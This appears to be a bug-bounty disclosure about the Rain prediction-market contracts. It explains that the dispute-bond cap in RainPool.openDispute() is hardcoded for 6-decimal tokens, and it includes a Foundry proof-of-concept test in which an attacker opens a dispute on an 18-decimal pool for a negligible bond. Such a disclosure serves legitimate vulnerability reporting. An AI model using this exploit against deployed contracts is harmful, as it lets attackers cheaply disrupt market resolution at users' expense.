https://github.com/hackenproof-public/rain-contracts
The dispute bond cap in RainPool.openDispute() is hardcoded to 1000 × 1e6 on-chain units, assuming all base tokens have exactly 6 decimals. This breaks the protocol's economic model for any token with non-6 decimals (ETH, BNB, WBTC, etc.), making dispute costs negligible (10 billion times cheaper than intended) for 18-decimal tokens.
The dispute bond cap is applied as a fixed on-chain unit count instead of being scaled by the base token's decimal places:[1]
uint256 disputeFee = (allFunds * 10) / FEE_MAGNIFICATION; // 0.1% calculation ✓
if (disputeFee > 1000 * 1e6) { // ← Hardcoded 6-decimal assumption ✗
dispute.disputeFee = 1000 * 1e6;
} else {
dispute.disputeFee = disputeFee;
}
This contradicts the constructor, which properly tracks decimals:
baseTokenDecimals = 10 ** params.baseTokenDecimals; // ✓ Tracked correctly
AMOUNT_TIER_ONE = 1_000_000 * baseTokenDecimals; // ✓ Used correctly for tiers
The same baseTokenDecimals variable is used correctly for tier calculations but omitted from the dispute cap, proving inconsistent decimal handling.
Whitepaper (Dispute Resolution section): "The disputer must put up collateral of 0.1% of the market volume or $1000, whichever is less."
This is a fixed monetary amount ($1000 USD) that should apply uniformly across all token types.
Code Implementation: Sets cap to 1000 * 1e6 on-chain units, which equals $1000 only for 6-decimal tokens.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20Mock} from "../src/mocks/ERC20Mock.sol";
import {OracleMock} from "../src/mocks/OracleMock.sol";
import {RainFactory} from "../src/RainFactory.sol";
import {RainDeployer, IRainDeployer} from "../src/RainDeployer.sol";
import {RainPool} from "../src/RainPool.sol";
/* ----------------------------------------
Mocks to unblock closePool locally
---------------------------------------- */
// Router interface matching the selector used by RainPool
interface IMockSwapRouter {
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
}
// Simple ERC20 that supports mint and burn by msg.sender.
// If your project ERC20Mock already has burn, you can reuse it directly.
contract RainTokenMock is ERC20Mock {
constructor() ERC20Mock("RAIN", "RAIN", 0) {}
function burn(uint256 amt) public { _burn(msg.sender, amt); }
}
// Router mock that mints rainToken to the pool and returns amountIn
contract MockSwapRouter is IMockSwapRouter {
RainTokenMock public immutable rainToken;
constructor(address _rainToken) { rainToken = RainTokenMock(_rainToken); }
function exactInput(ExactInputParams calldata params)
external
payable
override
returns (uint256 amountOut)
{
// Mint output to the AMM so closePool has a non-zero rainToken balance to burn
rainToken.mint(params.recipient, params.amountIn);
return params.amountIn;
}
}
contract RainPoolBugTest is Test {
// Local tokens
ERC20Mock baseToken18; // 18-decimals base token used by the pool
RainTokenMock rainToken; // burnable RAIN token for swap-and-burn path
// Protocol components
OracleMock oracleFactory;
RainFactory factory;
RainDeployer deployer;
RainPool pool;
MockSwapRouter mockRouter;
// Roles
address poolOwner = address(0xA11CE);
address resolverAI = address(0xA1A1);
address resolverPool= address(0xBEEF);
uint256[] liquidityPercentages;
function setUp() public {
// 1) Local tokens
baseToken18 = new ERC20Mock("Mock18", "M18", 1_000_000_000 ether); // 18 decimals base token
rainToken = new RainTokenMock(); // burnable RAIN token
// 2) Oracle factory bound to base token
oracleFactory = new OracleMock(address(baseToken18)); //
// 3) Mock router that mints rainToken to the pool on swap
mockRouter = new MockSwapRouter(address(rainToken));
// 4) Factory and deployer (UUPS)
factory = new RainFactory(); //
RainDeployer impl = new RainDeployer(); //
bytes memory initData = abi.encodeWithSelector(
RainDeployer.initialize.selector,
address(factory),
address(oracleFactory),
address(baseToken18),
poolOwner,
resolverAI,
address(rainToken),
address(mockRouter), // non-zero router mocked
18, // baseTokenDecimals
12, // liquidityFee 1.2%
25, // platformFee 2.5%
1e15, // oracleFixedFee (tiny)
12, // creatorFee 1.2%
1 // resultResolverFee 0.1%
);
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), initData); //
deployer = RainDeployer(address(proxy)); //
// 5) Create pool with 2 outcomes and initial liquidity
liquidityPercentages = new uint256[](2);
liquidityPercentages[0] = 50;
liquidityPercentages[1] = 50;
IRainDeployer.Params memory params = IRainDeployer.Params({
isPublic: false,
resolverIsAI: false,
poolOwner: poolOwner,
startTime: block.timestamp + 1,
endTime: block.timestamp + 30 minutes,
numberOfOptions: 2,
oracleEndTime: block.timestamp + 60 minutes,
ipfsUri: "ipfs://mock",
initialLiquidity: 1_000 ether,
liquidityPercentages: liquidityPercentages,
poolResolver: resolverPool
});
baseToken18.approve(address(deployer), params.initialLiquidity + deployer.oracleFixedFee()); //
address poolAddr = deployer.createPool(params); //
pool = RainPool(poolAddr); //
}
// Proves the dispute bond cap is fixed at 1000*1e6 base units, not scaled by decimals.
function test_DisputeBondCap_18Decimals_AllowsTinyBond() public {
// Attacker becomes a participant
address attacker = address(0xA77A);
baseToken18.transfer(attacker, 10 ether);
// Start and buy into outcome 1
vm.warp(block.timestamp + 2);
vm.startPrank(attacker);
baseToken18.approve(address(pool), 1 ether);
pool.enterOption(1, 1 ether); //
vm.stopPrank();
// Close pool (mocked swap mints rainToken; token supports burn), then set winner
vm.warp(block.timestamp + 31 minutes);
pool.closePool(); // mocked router + burnable RAIN
vm.prank(resolverPool);
pool.chooseWinner(1); //
// PoC: only 1e9 base units (1e-9 token) due to 1000*1e6 cap bug
uint256 tinyCap = 1_000_000_000;
vm.startPrank(attacker);
baseToken18.approve(address(pool), tinyCap);
pool.openDispute(); // accepts tiny bond on 18d base token
vm.stopPrank();
assertTrue(pool.isDisputed(), "pool should be disputed after tiny bond"); //
}
}